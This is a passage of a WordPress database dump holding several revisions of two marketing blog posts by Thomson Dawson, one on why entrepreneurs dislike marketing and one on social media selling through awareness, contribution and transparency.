(2732, 2, '2014-08-19 11:24:18', '2014-08-19 18:24:18', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the <strong><a title="What matters most in growing your business." href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">results of a survey </a></strong>I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovel to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs are willing to try just about anything if they believe it will grow their business.  However, when it comes to marketing their business (especially when they need business), many entrepreneurs will resist taking action. Many do not realize that to have the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-16', '', '', '2014-08-19 11:24:18', '2014-08-19 18:24:18', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-16/', 0, 'revision', '', 0),
(2733, 2, '2014-08-19 11:27:03', '2014-08-19 18:27:03', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the <strong><a title="What matters most in growing your business." href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">results of a survey </a></strong>I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovels to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be an equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs are willing to try just about anything if they believe it will grow their business.  However, when it comes to marketing their business (especially when they need business), many entrepreneurs will resist taking action. Many do not realize that to have the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-17', '', '', '2014-08-19 11:27:03', '2014-08-19 18:27:03', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-17/', 0, 'revision', '', 0),
(2734, 2, '2014-08-19 11:27:09', '2014-08-19 18:27:09', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg"><img class="alignnone size-full wp-image-2716" title="Why Entrepreneurs Hate Marketing" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Hate-Marketing.jpg" alt="" width="495" height="305" /></a>\r\n<h1><strong></strong>Compared to the creative energy of innovating new products and services, it’s frustrating for early-stage entrepreneurs to invest in an abstract activity that’s difficult to measure effectiveness.</h1>\r\nIn a recent post, I shared the <strong><a title="What matters most in growing your business." href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">results of a survey </a></strong>I conducted asking entrepreneurs what mattered most to them in growing their business. Granted, the results were not a rigorous quantitative analysis, rather a quick snapshot of what is on the minds of entrepreneurs and solo professionals when thinking about how to grow their business to the next level.\r\n\r\nIn thinking more about the results of the survey, I was fascinated with one particular result–the majority of entrepreneurs stated they don’t like marketing. In fact, over 80% said it was their least favored activity. Do entrepreneurs hate marketing?\r\n\r\nI’m thinking they do!\r\n\r\nCompared to the creative energy of innovating new products and services, I imagine it’s very difficult for early-stage entrepreneurs to spend time and money on an abstract activity that is difficult to measure its effectiveness. Marketing activities, for the most part, can seem like a big waste of time. So much energy goes in and little return comes back.\r\n\r\n<strong>A glut of marketing gurus.</strong>\r\n\r\nWith so much frustration over marketing efforts and effectiveness, it’s easy to see why there is an abundance of online marketing gurus out there hawking their magical training formulas claiming “crushing it” sales results if you’ll willing to cough up a few grand for their program. True enough, PT Barnum is still right– there’s a sucker born every minute. If only it were that easy.\r\n\r\nThe web has evolved into the premiere marketing channel for enterprises large and small. Social media platforms for building an audience of buyers are now ubiquitous.\r\n\r\nOf course the downside of all this is more noise and clutter!\r\n\r\nThe biggest competition to your business is noise and clutter. Customers simply are bombarded with unending marketing messages of all types. Attention spans are growing shorter, audiences are fragmented and making any sort of impression on them is ever more difficult.  Little wonder there is a plethora of marketing and sales advice online for entrepreneurs who seek an easy button for their marketing. Truth is there is no such thing.\r\n\r\nIt reminds of the California Gold Rush, where most of the people who got rich were the ones selling shovels to the miners.\r\n\r\n<strong>There is no easy button.</strong>\r\n\r\nMarketing is work! To be an effective marketer requires sustained effort. Most entrepreneurs think marketing is what you do when business is slow. This is a fatal mistake. Marketing must be an everyday priority if you are to have and maintain a steady stream of prospects eager to do business with you.\r\n\r\nMarketing tactics and channels in our digital world has never been more diverse, cheap and easy to implement. But with cheap and easy comes more  complexity and commoditization–email, direct mail, earned media, paid media, blogging, social media–all form a tactical hairball that simply overwhelms most early-stage entrepreneurs.  Little wonder entrepreneurs hate marketing. It’s hard work that requires a big financial investment with little evidence any of it will pay off.\r\n<h2>Regardless, if you are to grow your business to the next level, marketing (and sales) is important work that needs doing everyday. Your results will proportionate to your level of enjoyment.</h2>\r\n<strong>To push or to pull that is the question.</strong>\r\n\r\nSurprisingly many entrepreneurs still think marketing is about promotion and selling–pushing a steady stream of outbound promotional messages to customers who could care less hoping something will stick.  More surprising, many entrepreneurs find selling to be an equally distasteful activity and many are loathe to spend time and energy there. Most still believe marketing and sales is an obnoxious pushy activity.\r\n\r\nModern marketing is no longer about demand generation and sales, it’s about community and shared values.\r\n\r\nTo make even the slightest dent in the mind of a prospective customer, your marketing activities must have a perceived intrinsic value to the customer. In other words, your marketing becomes a valuable product in and of itself. When this happens, you’ll notice a gravitational force pulling prospects to you in droves.\r\n\r\nWhy? Because birds of a feather will always flock together. Your marketing resonates with shared values. Customers identify you (your business) as one of them. Prospects quickly recognize that your very presence in the marketplace is valuable and useful to them–even if they don’t buy.\r\n\r\n<strong>The cart before the horse.</strong>\r\n\r\nOne of the key attributes all entrepreneurs have is a gift for taking decisive action.\r\n\r\nMost entrepreneurs are willing to try just about anything if they believe it will grow their business.  However, when it comes to marketing their business (especially when they need business), many entrepreneurs will resist taking action. Many do not realize that to have the insight to take the right action at the right time requires a strategy.\r\n\r\nThe familiar expression “ready, fire, aim” applies here.\r\n\r\nThe truth is most early stage entrepreneurs do not have a sound strategy in place to guide and inform their marketing tactics. Strategy is a head game. Strategy is about creative thinking not random action. Strategy comes before tactics. This is a critical truth in modern marketing.\r\n\r\n<strong>The core elements of a modern marketing strategy.</strong>\r\n\r\nIf you’re an early stage entrepreneur or solo professional struggling with sustained energy for marketing your business, you might appreciate what exactly forms the raw material of marketing strategy. If you are to ever enjoy the process of marketing your business effectively, you’re going to need solid answers to these questions:\r\n\r\n<strong><em>Why does your business exist beyond moneymaking?</em></strong>\r\n\r\n<strong><em>What greater and uncommon value do you bring to the marketplace through your products and services?</em></strong>\r\n\r\n<strong><em>Who represents the best customer who will pay a premium price to use the value you bring to them?</em></strong>\r\n\r\n<strong><em>What drives these higher value customers to buy products or services in your category?</em></strong>\r\n\r\n<strong><em>What makes your business distinctive and remarkable from your competitors?</em></strong>\r\n\r\n<strong><em>What proof do you have that your value proposition resonates, differentiates and substantiates with your target customers and clients?</em></strong>\r\n\r\n<em></em>When you have more clarity to answer these fundamental questions, you’ll automatically have more confidence in your specific actions and tactics. And when you feel more confident, you will naturally enjoy the process of marketing your business significantly and your results will be self-fulfilling.\r\n\r\n<em>If you found this post helpful, please subscribe to The White Hot Center. If you would like more clarity in your marketing strategy, <a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">email me.</a></em>', 'Why entrepreneurs hate marketing.', 0, '', 'inherit', 'open', 'open', '', '2715-revision-18', '', '', '2014-08-19 11:27:09', '2014-08-19 18:27:09', '', 2715, 'http://www.whitehotcenter.com/2014/08/2715-revision-18/', 0, 'revision', '', 0),
(2735, 2, '2014-08-25 10:35:44', '2014-08-25 17:35:44', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential components before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they know and like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their desired outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they like and trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, thought leaders and prospective clients. Today everyone has a circle of influence–a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (your brand/business) must become an influential value-creator for your customers and clients. To build this level of trust, you’ll need to create and share content that helps people be successful first. A good rule of thumb to follow will mandate your content should be roughly 80% helpful and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust, your marketing and sales results will take a quantum leap forward.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'publish', 'open', 'open', '', 'social-media-selling-know-me-like-me-trust-me', '', '', '2014-08-25 10:35:44', '2014-08-25 17:35:44', '', 0, 'http://www.whitehotcenter.com/?p=2735', 0, 'post', '', 2),
(2736, 2, '2014-08-25 09:57:05', '2014-08-25 16:57:05', 'Background with a network structure. social media concept', 'The Art of Social Media Selling', 0, '', 'inherit', 'open', 'open', '', 'social-network', '', '', '2014-08-25 09:57:05', '2014-08-25 16:57:05', '', 2735, 'http://www.whitehotcenter.com/wp-content/uploads/2014/08/Social-Selling.jpg', 0, 'attachment', 'image/jpeg', 0),
(2737, 2, '2014-08-25 10:03:34', '2014-08-25 17:03:34', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\nBy now most early stage entrepreneurs and solo professionals have come to realize social media as an important channel for marketing and sales.\n\nIn my recent survey, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\n\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\n\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\n\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\n\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\n<h3>Awareness (know me)</h3>\n<h3>Contribution (like me)</h3>\n<h3>Transparency (trust me)</h3>\n<em>Awareness</em>\n\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\n\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\n\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\n\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they like.\n\n<em>Contribution</em>\n\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\n\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. The trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\n\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\n\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\n\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\n\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they trust.\n\n<em>Transparency</em>\n\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\n\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, influencers and prospective clients. Today everyone has a circle of influence– a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\n\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\n\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\n\nYour answer to this question will drive your entire social selling strategy. You (yourbrand/business) must become an influential value-creator for your customers and clients. To build this level trust you’ll need to create and share content that helps people be successful first. That content should be roughly 80% inspirational and 20% promotional.\n\n<strong>Finally, Facebook is not face time.</strong>\n\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\n\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\n\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'The Art of Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision', '', '', '2014-08-25 10:03:34', '2014-08-25 17:03:34', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision/', 0, 'revision', '', 0);
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(2738, 2, '2014-08-25 10:04:07', '2014-08-25 17:04:07', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nBy now most early stage entrepreneurs and solo professionals have come to realize social media as an important channel for marketing and sales.\r\n\r\nIn my recent survey, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. The trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition 